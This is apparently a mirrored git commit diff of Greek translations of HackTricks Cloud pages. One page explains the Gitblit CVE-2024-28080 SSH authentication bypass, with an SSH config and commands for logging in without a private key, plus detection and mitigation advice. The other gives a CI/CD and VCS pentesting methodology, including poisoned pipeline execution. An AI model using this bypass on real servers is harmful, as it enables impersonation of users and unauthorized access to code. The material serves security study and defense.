mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Τι είναι το Gitblit
|
||||
|
||||
Το Gitblit είναι ένας αυτο-φιλοξενούμενος διακομιστής Git γραμμένος σε Java. Μπορεί να τρέξει ως αυτόνομο JAR ή σε servlet containers και παρέχει ενσωματωμένη υπηρεσία SSH (Apache MINA SSHD) για Git over SSH.
|
||||
Το Gitblit είναι ένας αυτο-φιλοξενούμενος Git διακομιστής γραμμένος σε Java. Μπορεί να τρέξει ως standalone JAR ή σε servlet containers και παρέχει ενσωματωμένη υπηρεσία SSH (Apache MINA SSHD) για Git over SSH.
|
||||
|
||||
## Θέματα
|
||||
|
||||
|
||||
+44
-44
@@ -1,37 +1,37 @@
|
||||
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
# Gitblit Ενσωματωμένη Παράκαμψη Αυθεντικοποίησης SSH (CVE-2024-28080)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
|
||||
CVE-2024-28080 είναι ένα authentication bypass στην ενσωματωμένη υπηρεσία SSH του Gitblit λόγω λανθασμένης διαχείρισης της κατάστασης session κατά την ενσωμάτωση με Apache MINA SSHD. Εάν ένας λογαριασμός χρήστη έχει τουλάχιστον ένα SSH public key καταχωρημένο, ένας επιτιθέμενος που γνωρίζει το username και οποιοδήποτε από τα public keys αυτού του χρήστη μπορεί να πραγματοποιήσει authentication χωρίς το private key και χωρίς το password.
|
||||
CVE-2024-28080 είναι μια παράκαμψη αυθεντικοποίησης στην ενσωματωμένη υπηρεσία SSH του Gitblit λόγω λανθασμένης διαχείρισης του session state κατά την ενσωμάτωση με Apache MINA SSHD. Εάν ένας λογαριασμός χρήστη έχει εγγεγραμμένο τουλάχιστον ένα SSH public key, ένας επιτιθέμενος που γνωρίζει το όνομα χρήστη και οποιοδήποτε από τα public keys αυτού του χρήστη μπορεί να αυθεντικοποιηθεί χωρίς το ιδιωτικό κλειδί και χωρίς τον κωδικό πρόσβασης.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
- Ο λογαριασμός θύματος έχει τουλάχιστον ένα SSH public key καταχωρημένο στο Gitblit
|
||||
- Ο επιτιθέμενος γνωρίζει το username του θύματος και ένα από τα public keys του (συχνά ανακαλύψιμο, π.χ., https://github.com/<username>.keys)
|
||||
|
||||
## Αιτία ρίζας (state leaks between SSH methods)
|
||||
## Βασική αιτία (state leaks between SSH methods)
|
||||
|
||||
Στο RFC 4252, η public‑key authentication προχωρά σε δύο φάσεις: ο server πρώτα ελέγχει αν ένα παρεχόμενο public key είναι αποδεκτό για ένα username, και μόνο μετά από ένα challenge/response με υπογραφή authenticate τον χρήστη. Στο MINA SSHD, ο PublickeyAuthenticator καλείται δύο φορές: κατά την αποδοχή του key (no signature yet) και αργότερα αφού ο client επιστρέψει μια υπογραφή.
|
||||
Στο RFC 4252, η public‑key authentication προχωρά σε δύο φάσεις: ο server πρώτα ελέγχει αν ένα παρεχόμενο public key είναι αποδεκτό για ένα username, και μόνο μετά από ένα challenge/response με υπογραφή γίνεται η τελική αυθεντικοποίηση του χρήστη. Στο MINA SSHD, το PublickeyAuthenticator καλείται δύο φορές: κατά την αποδοχή του κλειδιού (ακόμα χωρίς υπογραφή) και αργότερα όταν ο client επιστρέψει υπογραφή.
|
||||
|
||||
Ο PublickeyAuthenticator του Gitblit τροποποίησε το session context στην πρώτη, προ‑υπογραφής κλήση δεσμεύοντας το authenticated UserModel στο session και επιστρέφοντας true ("key acceptable"). Όταν αργότερα η authentication έπεσε πίσω στο password, ο PasswordAuthenticator εμπιστεύτηκε την τροποποιημένη αυτή κατάσταση session και διέκοψε τη ροή, επιστρέφοντας true χωρίς να επικυρώσει το password. Ως αποτέλεσμα, οποιοδήποτε password (συμπεριλαμβανομένου και του κενού) γινόταν αποδεκτό μετά από προηγούμενη public‑key "acceptance" για τον ίδιο χρήστη.
|
||||
Το PublickeyAuthenticator του Gitblit τροποποιούσε το session context στην πρώτη, προ‑υπογραφής κλήση, συσχετίζοντας το UserModel με το session και επιστρέφοντας true ("key acceptable"). Όταν η αυθεντικοποίηση αργότερα έπεφτε πίσω στο password, το PasswordAuthenticator εμπιστευόταν αυτό το μεταβλημένο session state και συντόμευε τη διαδικασία, επιστρέφοντας true χωρίς να επαληθεύσει τον κωδικό. Ως αποτέλεσμα, οποιοσδήποτε κωδικός (συμπεριλαμβανομένου του κενό) γινόταν αποδεκτός μετά από μια προηγούμενη δημόσια‑κλειδιού "αποδοχή" για τον ίδιο χρήστη.
|
||||
|
||||
Υψηλού επιπέδου ελαττωματική ροή:
|
||||
|
||||
1) Client προσφέρει username + public key (no signature yet)
|
||||
2) Server αναγνωρίζει ότι το key ανήκει στον χρήστη και πρόωρα επισυνάπτει τον χρήστη στο session, επιστρέφοντας true ("acceptable")
|
||||
3) Client δεν μπορεί να υπογράψει (no private key), οπότε η auth πέφτει πίσω στο password
|
||||
4) Η password auth βλέπει έναν χρήστη ήδη παρόν στο session και άνευ όρων επιστρέφει επιτυχία
|
||||
1) Client προσφέρει username + public key (ακόμα χωρίς υπογραφή)
|
||||
2) Server αναγνωρίζει ότι το κλειδί ανήκει στον χρήστη και προωρό προσδέτει τον χρήστη στο session, επιστρέφοντας true ("acceptable")
|
||||
3) Client δεν μπορεί να υπογράψει (δεν υπάρχει private key), οπότε η auth πέφτει πίσω στο password
|
||||
4) Η password auth βλέπει ότι υπάρχει ήδη χρήστης στο session και χωρίς προϋποθέσεις επιστρέφει επιτυχία
|
||||
|
||||
## Βήμα‑προς‑βήμα exploitation
|
||||
## Βήμα‑βήμα εκμετάλλευση
|
||||
|
||||
- Συλλέξτε το victim username και ένα από τα public keys τους:
|
||||
- GitHub εκθέτει public keys στο https://github.com/<username>.keys
|
||||
- Public servers συχνά εκθέτουν authorized_keys
|
||||
- Διαμορφώστε το OpenSSH ώστε να παρουσιάζει μόνο το public half ώστε η δημιουργία υπογραφής να αποτύχει, αναγκάζοντας fallback στο password ενώ εξακολουθεί να ενεργοποιεί την public‑key acceptance διαδρομή στον server.
|
||||
- Συλλέξτε το username του θύματος και ένα από τα public keys του:
|
||||
- Το GitHub εκθέτει public keys στο https://github.com/<username>.keys
|
||||
- Public servers συχνά εκθέτουν αρχεία authorized_keys
|
||||
- Διαμορφώστε το OpenSSH ώστε να παρουσιάζει μόνο το δημόσιο μισό ώστε η δημιουργία υπογραφής να αποτύχει, αναγκάζοντας fallback στον κωδικό ενώ παράλληλα ενεργοποιείται η διαδρομή αποδοχής public‑key στον server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
```sshconfig
|
||||
@@ -44,58 +44,58 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Συνδεθείτε και πατήστε Enter στην προτροπή κωδικού πρόσβασης (ή πληκτρολογήστε οποιαδήποτε συμβολοσειρά):
|
||||
Συνδεθείτε και πατήστε Enter στο password prompt (ή πληκτρολογήστε οποιαδήποτε string):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Η αυθεντικοποίηση επιτυγχάνει επειδή το προηγούμενο στάδιο public‑key μετέβαλε τη συνεδρία σε authenticated χρήστη, και η password auth εμπιστεύεται εσφαλμένα αυτήν την κατάσταση.
|
||||
Η αυθεντικοποίηση επιτυγχάνεται επειδή το προηγούμενο στάδιο public‑key μετέβαλε τη συνεδρία σε επαληθευμένο χρήστη, και η password auth εμπιστεύεται εσφαλμένα αυτή την κατάσταση.
|
||||
|
||||
Σημείωση: Αν το ControlMaster multiplexing είναι ενεργοποιημένο στο SSH config σας, οι επόμενες εντολές Git μπορεί να επαναχρησιμοποιήσουν τη συνδεδεμένη σύνδεση, αυξάνοντας τον αντίκτυπο.
|
||||
Note: Εάν το ControlMaster multiplexing είναι ενεργοποιημένο στο SSH config σας, οι επόμενες εντολές Git μπορεί να επαναχρησιμοποιήσουν την επαληθευμένη σύνδεση, αυξάνοντας τον αντίκτυπο.
|
||||
|
||||
## Αντίκτυπο
|
||||
## Επιπτώσεις
|
||||
|
||||
- Πλήρης προσποίηση οποιουδήποτε χρήστη Gitblit που έχει τουλάχιστον ένα καταχωρημένο SSH public key
|
||||
- Δικαιώματα ανάγνωσης/εγγραφής στα repositories σύμφωνα με τα permissions του θύματος (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Πιθανός διοικητικός αντίκτυπος αν στοχευθεί χρήστης admin
|
||||
- Καθαρό network exploit· δεν απαιτείται brute force ή private key
|
||||
- Πλήρης προσωποποίηση οποιουδήποτε χρήστη Gitblit που έχει τουλάχιστον ένα καταχωρισμένο SSH public key
|
||||
- Πρόσβαση ανάγνωσης/εγγραφής σε αποθετήρια σύμφωνα με τα δικαιώματα του θύματος (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Πιθανός διοικητικός αντίκτυπος εάν στοχευτεί χρήστης admin
|
||||
- Καθαρά network exploit· δεν απαιτείται brute force ή private key
|
||||
|
||||
## Ιδέες ανίχνευσης
|
||||
## Ιδέες εντοπισμού
|
||||
|
||||
- Ελέγξτε τα SSH logs για ακολουθίες όπου μια προσπάθεια publickey ακολουθείται από επιτυχή password authentication με κενό ή πολύ μικρό password
|
||||
- Αναζητήστε ροές: μέθοδος publickey που προσφέρει μη υποστηριζόμενο/μη ταιριαστό key material και ακολουθείται αμέσως από επιτυχία password για το ίδιο username
|
||||
- Ελέγξτε τα SSH logs για ακολουθίες όπου μια προσπάθεια publickey ακολουθείται από επιτυχημένη password authentication με κενό ή πολύ σύντομο password
|
||||
- Αναζητήστε ροές: publickey method που προσφέρει μη υποστηριζόμενο/ασύμβατο key material και ακολουθείται από άμεση επιτυχία password για το ίδιο username
|
||||
|
||||
## Αντιμετώπιση
|
||||
## Μετριασμοί
|
||||
|
||||
- Αναβαθμίστε σε Gitblit v1.10.0+
|
||||
- Μέχρι την αναβάθμιση:
|
||||
- Απενεργοποιήστε το Git over SSH στο Gitblit, ή
|
||||
- Περιορίστε την πρόσβαση δικτύου στην υπηρεσία SSH, και
|
||||
- Παρακολουθήστε για ύποπτα πρότυπα που περιγράφονται παραπάνω
|
||||
- Αλλάξτε τα credentials των επηρεασμένων χρηστών εάν υποπτευθείτε συμβιβασμό
|
||||
- Απενεργοποιήστε το Git over SSH στο Gitblit, ή
|
||||
- Περιορίστε την πρόσβαση δικτύου στην SSH service, και
|
||||
- Παρακολουθήστε για ύποπτα μοτίβα που περιγράφονται παραπάνω
|
||||
- Αλλάξτε/ανανεώστε τα credentials των επηρεαζόμενων χρηστών εάν υπάρχει υποψία συμβιβασμού
|
||||
|
||||
## Γενικά: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## Γενικά: κατάχρηση SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Πρότυπο: Εάν ο public‑key authenticator ενός server μεταβάλλει την κατάσταση χρήστη/συνεδρίας κατά τη φάση προ‑υπογραφής "key acceptable" και άλλοι authenticators (π.χ. password) εμπιστεύονται αυτή την κατάσταση, μπορείτε να παρακάμψετε την authentication ως εξής:
|
||||
Πρότυπο: Εάν ο public‑key authenticator ενός server μεταβάλλει την κατάσταση χρήστη/συνεδρίας κατά τη διάρκεια του pre‑signature "key acceptable" σταδίου και άλλοι authenticators (π.χ. password) εμπιστεύονται αυτή την κατάσταση, μπορείτε να παρακάμψετε την αυθεντικοποίηση με:
|
||||
|
||||
- Παρουσιάζοντας ένα νόμιμο public key για τον στοχευόμενο χρήστη (χωρίς private key)
|
||||
- Εξαναγκάζοντας τον client να αποτύχει στην υπογραφή ώστε ο server να επιστρέψει σε password
|
||||
- Παρέχοντας οποιοδήποτε password ενώ ο password authenticator κάνει short‑circuit λόγω leaked state
|
||||
- Παρουσίαση ενός έγκυρου public key για τον στοχευόμενο χρήστη (χωρίς private key)
|
||||
- Αναγκάζοντας τον client να αποτύχει στο signing ώστε ο server να υποχωρήσει σε password
|
||||
- Παροχή οποιουδήποτε password ενώ ο password authenticator short‑circuits λόγω leaked state
|
||||
|
||||
Πρακτικές συμβουλές:
|
||||
|
||||
- Συλλογή public keys σε μεγάλη κλίμακα: τραβήξτε public keys από κοινές πηγές όπως https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Εξαναγκασμός αποτυχίας υπογραφής (client‑side): ορίστε το IdentityFile μόνο στο .pub, βάλτε IdentitiesOnly yes, διατηρήστε το PreferredAuthentications ώστε να περιλαμβάνει publickey και μετά password
|
||||
- Παγίδες ενσωμάτωσης MINA SSHD:
|
||||
- PublickeyAuthenticator.authenticate(...) δεν πρέπει να επισυνάπτει κατάσταση χρήστη/συνεδρίας μέχρι η post‑signature verification διαδρομή να επιβεβαιώσει την υπογραφή
|
||||
- PasswordAuthenticator.authenticate(...) δεν πρέπει να συμπεραίνει επιτυχία από οποιαδήποτε κατάσταση μεταβλήθηκε κατά τη διάρκεια προηγούμενης, ατελούς μεθόδου authentication
|
||||
- Public key harvesting at scale: εξαγάγετε public keys από κοινές πηγές όπως https://github.com/<username>.keys, οργανωτικούς καταλόγους, σελίδες ομάδων, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): ρυθμίστε το IdentityFile ώστε να δείχνει μόνο στο .pub, θέστε IdentitiesOnly yes, κρατήστε το PreferredAuthentications να περιλαμβάνει publickey και μετά password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) δεν πρέπει να επισυνάπτει user/session state μέχρι η post‑signature verification διαδρομή να επιβεβαιώσει την υπογραφή
|
||||
- PasswordAuthenticator.authenticate(...) δεν πρέπει να συμπεράνει επιτυχία από οποιαδήποτε κατάσταση μεταβλήθηκε κατά τη διάρκεια μιας προηγούμενης, ελλιπούς authentication μεθόδου
|
||||
|
||||
Σχετικές σημειώσεις πρωτοκόλλου/σχεδιασμού και βιβλιογραφία:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Ιστορικές συζητήσεις για early acceptance oracles και auth races, π.χ. CVE‑2016‑20012 disputes γύρω από το OpenSSH behavior
|
||||
- Ιστορικές συζητήσεις για early acceptance oracles και auth races, π.χ. διαμάχες CVE‑2016‑20012 γύρω από τη συμπεριφορά του OpenSSH
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS σημαίνει **Version Control System**, αυτό το σύστημα επιτρέπει στους προγραμματιστές να **διαχειρίζονται τον source code τους**. Το πιο κοινό είναι το **git** και συνήθως θα βρείτε εταιρείες να το χρησιμοποιούν σε μία από τις παρακάτω **platforms**:
|
||||
VCS σημαίνει Σχήμα Ελέγχου Έκδοσης και αυτό το σύστημα επιτρέπει στους προγραμματιστές να διαχειρίζονται τον πηγαίο κώδικα τους. Το πιο κοινό είναι το **git** και συνήθως θα βρείτε εταιρείες να το χρησιμοποιούν σε μία από τις παρακάτω **πλατφόρμες**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,88 +18,88 @@ VCS σημαίνει **Version Control System**, αυτό το σύστημα ε
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
Τα CI/CD pipelines επιτρέπουν στους developers να **αυτοματοποιήσουν την εκτέλεση κώδικα** για διάφορους σκοπούς, όπως build, test και deploy εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **trigger-άρονται από συγκεκριμένες ενέργειες**, όπως code pushes, pull requests ή scheduled tasks. Είναι χρήσιμα για να απλοποιηθεί η ροή από development προς production.
|
||||
Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιήσουν την εκτέλεση κώδικα** για διάφορους σκοπούς, όπως build, testing και deployment εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **εκκινούνται από συγκεκριμένες ενέργειες**, όπως pushes, pull requests ή προγραμματισμένα tasks. Είναι χρήσιμα για τη ροή από development προς production.
|
||||
|
||||
Ωστόσο, αυτά τα συστήματα πρέπει να **τρέξουν κάπου** και συνήθως χρειάζονται **προνομιακά credentials για να κάνουν deploy code ή να έχουν πρόσβαση σε ευαίσθητες πληροφορίες**.
|
||||
Ωστόσο, αυτά τα συστήματα πρέπει να **εκτελεστούν κάπου** και συνήθως με **privileged credentials για να κάνουν deploy κώδικα ή να έχουν πρόσβαση σε ευαίσθητες πληροφορίες**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Ακόμα κι αν κάποιες πλατφόρμες VCS επιτρέπουν τη δημιουργία pipelines, σε αυτή την ενότητα θα αναλύσουμε μόνο πιθανές επιθέσεις που στοχεύουν τον έλεγχο του source code.
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Οι πλατφόρμες που περιέχουν τον source code του project σας έχουν ευαίσθητες πληροφορίες και πρέπει να δοθεί μεγάλη προσοχή στα permissions που απονέμονται μέσα σε αυτήν την πλατφόρμα. Αυτά είναι μερικά κοινά προβλήματα σε VCS πλατφόρμες που ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί:
|
||||
Οι πλατφόρμες που περιέχουν τον πηγαίο κώδικα του project σας περιέχουν ευαίσθητες πληροφορίες και πρέπει να είστε πολύ προσεκτικοί με τα permissions που δίνονται μέσα σε αυτήν την πλατφόρμα. Αυτά είναι μερικά κοινά προβλήματα σε VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
|
||||
|
||||
- **Leaks**: Αν ο κώδικάς σας περιέχει leaks στα commits και ο επιτιθέμενος μπορεί να έχει πρόσβαση στο repo (επειδή είναι public ή γιατί έχει access), θα μπορούσε να ανακαλύψει τα leaks.
|
||||
- **Access**: Αν ένας επιτιθέμενος μπορεί να **πρόσβαση σε έναν λογαριασμό μέσα στην VCS πλατφόρμα** θα μπορούσε να αποκτήσει **μεγαλύτερη ορατότητα και δικαιώματα**.
|
||||
- **Register**: Κάποιες πλατφόρμες απλά επιτρέπουν σε εξωτερικούς χρήστες να δημιουργήσουν account.
|
||||
- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν εγγραφή χρηστών, αλλά επιτρέπουν σε οποιονδήποτε να κάνει login με ένα έγκυρο SSO (έτσι ένας επιτιθέμενος θα μπορούσε για παράδειγμα να χρησιμοποιήσει τον github account του για είσοδο).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν διάφοροι τύποι tokens που ένας χρήστης θα μπορούσε να κλέψει για να αποκτήσει με κάποιο τρόπο πρόσβαση σε ένα repo.
|
||||
- **Webhooks**: Οι VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν προστατεύονται με μη ορατά secrets, ένας επιτιθέμενος θα μπορούσε να τα εκμεταλλευτεί.
|
||||
- Αν δεν υπάρχει κάποιο secret, ο επιτιθέμενος μπορεί να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας.
|
||||
- Αν το secret βρίσκεται στο URL, ισχύει το ίδιο και ο επιτιθέμενος έχει επίσης το secret.
|
||||
- **Code compromise:** Αν ένας κακόβουλος παράγοντας έχει κάποια μορφή **write** πρόσβασης στα repos, μπορεί να προσπαθήσει να **inject malicious code**. Για να το πετύχει πιθανόν να χρειαστεί να **bypass branch protections**. Αυτές οι ενέργειες μπορούν να έχουν διάφορους στόχους:
|
||||
- Compromise το main branch για να **compromise production**.
|
||||
- Compromise το main (ή άλλα branches) για να **compromise τα machines των developers** (καθώς συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στους δικούς τους υπολογιστές).
|
||||
- **Compromise the pipeline** (βλέπε επόμενη ενότητα)
|
||||
- **Leaks**: Αν ο κώδικάς σας περιέχει leak στα commits και ο attacker μπορεί να έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), μπορεί να ανακαλύψει αυτά τα leak.
|
||||
- **Access**: Αν ένας attacker μπορεί να **προσπελάσει έναν λογαριασμό μέσα στην VCS πλατφόρμα** μπορεί να αποκτήσει **περισσότερη ορατότητα και permissions**.
|
||||
- **Register**: Κάποιες πλατφόρμες απλώς επιτρέπουν σε εξωτερικούς χρήστες να δημιουργήσουν λογαριασμό.
|
||||
- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν εγγραφή χρηστών, αλλά επιτρέπουν σε οποιονδήποτε να συνδεθεί με έγκυρο SSO (έτσι ένας attacker θα μπορούσε για παράδειγμα να χρησιμοποιήσει τον github λογαριασμό του για να μπει).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν πολλοί τύποι token που ένας χρήστης μπορεί να κλέψει για να αποκτήσει πρόσβαση με κάποιον τρόπο σε ένα repo.
|
||||
- **Webhooks**: VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν προστατεύονται με μη ορατά secrets, ένας attacker θα μπορούσε να τα εκμεταλλευτεί.
|
||||
- Αν δεν υπάρχει secret, ο attacker μπορεί να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
|
||||
- Αν το secret είναι στο URL, το ίδιο συμβαίνει και ο attacker αποκτά επίσης το secret
|
||||
- **Code compromise:** Αν ένας malicious actor έχει κάποιο είδος **write** πρόσβασης στα repos, μπορεί να προσπαθήσει να **ενσωματώσει malicious code**. Για να έχει επιτυχία μπορεί να χρειαστεί να **παρακάμψει branch protections**. Αυτές οι ενέργειες μπορούν να έχουν διάφορους στόχους:
|
||||
- Να συμβιβαστεί το main branch για να **συμβιβαστεί το production**.
|
||||
- Να συμβιβαστεί το main (ή άλλα branches) για να **συμβιβαστούν οι μηχανές των developers** (καθώς συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στις μηχανές τους).
|
||||
- **Compromise the pipeline** (δείτε την επόμενη ενότητα)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Ο πιο κοινός τρόπος για να ορίσετε ένα pipeline είναι με χρήση ενός **CI configuration file που φιλοξενείται στο repository** που το pipeline build-άρει. Αυτό το αρχείο περιγράφει τη σειρά των jobs που εκτελούνται, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του build environment.\
|
||||
Αυτά τα αρχεία συνήθως έχουν συνεπή ονόματα και format, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), και τα GitHub Actions YAML αρχεία κάτω από .github/workflows. Όταν trigger-άρεται, το pipeline job **τραβάει τον κώδικα** από την επιλεγμένη πηγή (π.χ. commit / branch) και **εκτελεί τις εντολές που ορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
|
||||
Ο πιο κοινός τρόπος για να οριστεί ένα pipeline είναι με τη χρήση ενός **CI configuration file hosted in the repository** που το pipeline χτίζει. Αυτό το αρχείο περιγράφει τη σειρά των jobs που εκτελούνται, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του build environment.\
|
||||
Αυτά τα αρχεία συνήθως έχουν συνεπή όνομα και μορφή, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), και τα GitHub Actions YAML αρχεία που βρίσκονται κάτω από .github/workflows. Όταν ενεργοποιείται, το pipeline job **pulls the code** από την επιλεγμένη πηγή (π.χ. commit / branch), και **τρέχει τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
|
||||
|
||||
Άρα ο τελικός στόχος του επιτιθέμενου είναι με κάποιο τρόπο να **compromise αυτά τα configuration files** ή τις **εντολές που εκτελούν**.
|
||||
Επομένως ο τελικός στόχος του attacker είναι με κάποιο τρόπο να **συμβιβαστεί αυτά τα configuration files** ή οι **εντολές που εκτελούν**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Το Poisoned Pipeline Execution (PPE) path εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει επιβλαβείς εντολές. Χρήστες με τα κατάλληλα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job ώστε να περιλάβουν κακόβουλες εντολές. Αυτό "δηλητηριάζει" το CI pipeline, οδηγώντας στην εκτέλεση αυτών των κακόβουλων εντολών.
|
||||
Το Poisoned Pipeline Execution (PPE) path εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει επιβλαβείς εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job ώστε να συμπεριλάβουν malicious εντολές. Αυτό «poisons» το CI pipeline, οδηγώντας στην εκτέλεση αυτών των malicious εντολών.
|
||||
|
||||
Για να είναι επιτυχής ένας κακόβουλος παράγοντας σε μια PPE επίθεση χρειάζεται να:
|
||||
Για να έχει επιτυχία ένας malicious actor εκτελώντας επίθεση PPE πρέπει να μπορεί να:
|
||||
|
||||
- Έχει **write access στο VCS**, καθώς συνήθως τα pipelines trigger-άρονται όταν γίνεται push ή pull request. (Δες τη VCS pentesting methodology για σύνοψη τρόπων απόκτησης access).
|
||||
- Σημειώστε ότι μερικές φορές ένα **external PR μετράει ως "write access"**.
|
||||
- Ακόμα κι αν έχει write permissions, πρέπει να βεβαιωθεί ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία από τα οποία εξαρτάται το config**.
|
||||
- Γι' αυτό ίσως χρειαστεί να μπορέσει να **bypass branch protections**.
|
||||
- Έχει **write access to the VCS platform**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνεται push ή pull request. (Δείτε τη VCS pentesting methodology για περίληψη τρόπων απόκτησης πρόσβασης).
|
||||
- Σημειώστε ότι μερικές φορές ένα **external PR θεωρείται ως "write access"**.
|
||||
- Ακόμα κι αν έχει write permissions, πρέπει να είναι βέβαιος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία στα οποία το config βασίζεται**.
|
||||
- Για αυτό μπορεί να χρειαστεί να μπορέσει να **παρακάμψει branch protections**.
|
||||
|
||||
Υπάρχουν 3 flavours του PPE:
|
||||
Υπάρχουν 3 flavours PPE:
|
||||
|
||||
- **D-PPE**: Μια **Direct PPE** επίθεση συμβαίνει όταν ο παράγοντας **τροποποιεί απευθείας το CI config** που πρόκειται να εκτελεστεί.
|
||||
- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο παράγοντας **τροποποιεί** κάποιο **file** πάνω στο οποίο το CI config βασίζεται (π.χ. make file ή terraform config).
|
||||
- **Public PPE or 3PE**: Σε ορισμένες περιπτώσεις τα pipelines μπορούν να **trigger-αριστούν από χρήστες που δεν έχουν write access στο repo** (και που ίσως δεν είναι καν μέλη της οργάνωσης) επειδή μπορούν να στείλουν ένα PR.
|
||||
- **3PE Command Injection**: Συνήθως, τα CI/CD pipelines θα **ορίζουν env variables** με **πληροφορίες για το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από έναν επιτιθέμενο (π.χ. ο τίτλος του PR) και **χρησιμοποιείται** σε ένα **επικίνδυνο σημείο** (όπως η εκτέλεση sh εντολών), ένας επιτιθέμενος μπορεί να **εγχύσει εντολές εκεί μέσα**.
|
||||
- **D-PPE**: Μια **Direct PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί το CI config** αρχείο που πρόκειται να εκτελεστεί.
|
||||
- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **file** στο οποίο το CI config βασίζεται (όπως ένα make file ή ένα terraform config).
|
||||
- **Public PPE or 3PE**: Σε κάποιες περιπτώσεις τα pipelines μπορούν να **triggered by users that doesn't have write access in the repo** (και που μπορεί να μην είναι καν μέρος της org) επειδή μπορούν να στείλουν ένα PR.
|
||||
- **3PE Command Injection**: Συνήθως, CI/CD pipelines θα **set environment variables** με **πληροφορίες σχετικά με το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από έναν attacker (π.χ. ο τίτλος του PR) και **χρησιμοποιείται** σε ένα **επικίνδυνο σημείο** (όπως εκτέλεση **sh commands**), ένας attacker μπορεί να **εγχείρει εντολές εκεί**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Γνωρίζοντας τα 3 flavours για να δηλητηριάσετε ένα pipeline, ας δούμε τι μπορεί να αποκτήσει ένας επιτιθέμενος μετά από επιτυχή εκμετάλλευση:
|
||||
Γνωρίζοντας τα 3 flavours για το poisoning ενός pipeline, ας δούμε τι μπορεί να αποκτήσει ένας attacker μετά από επιτυχημένη εκμετάλλευση:
|
||||
|
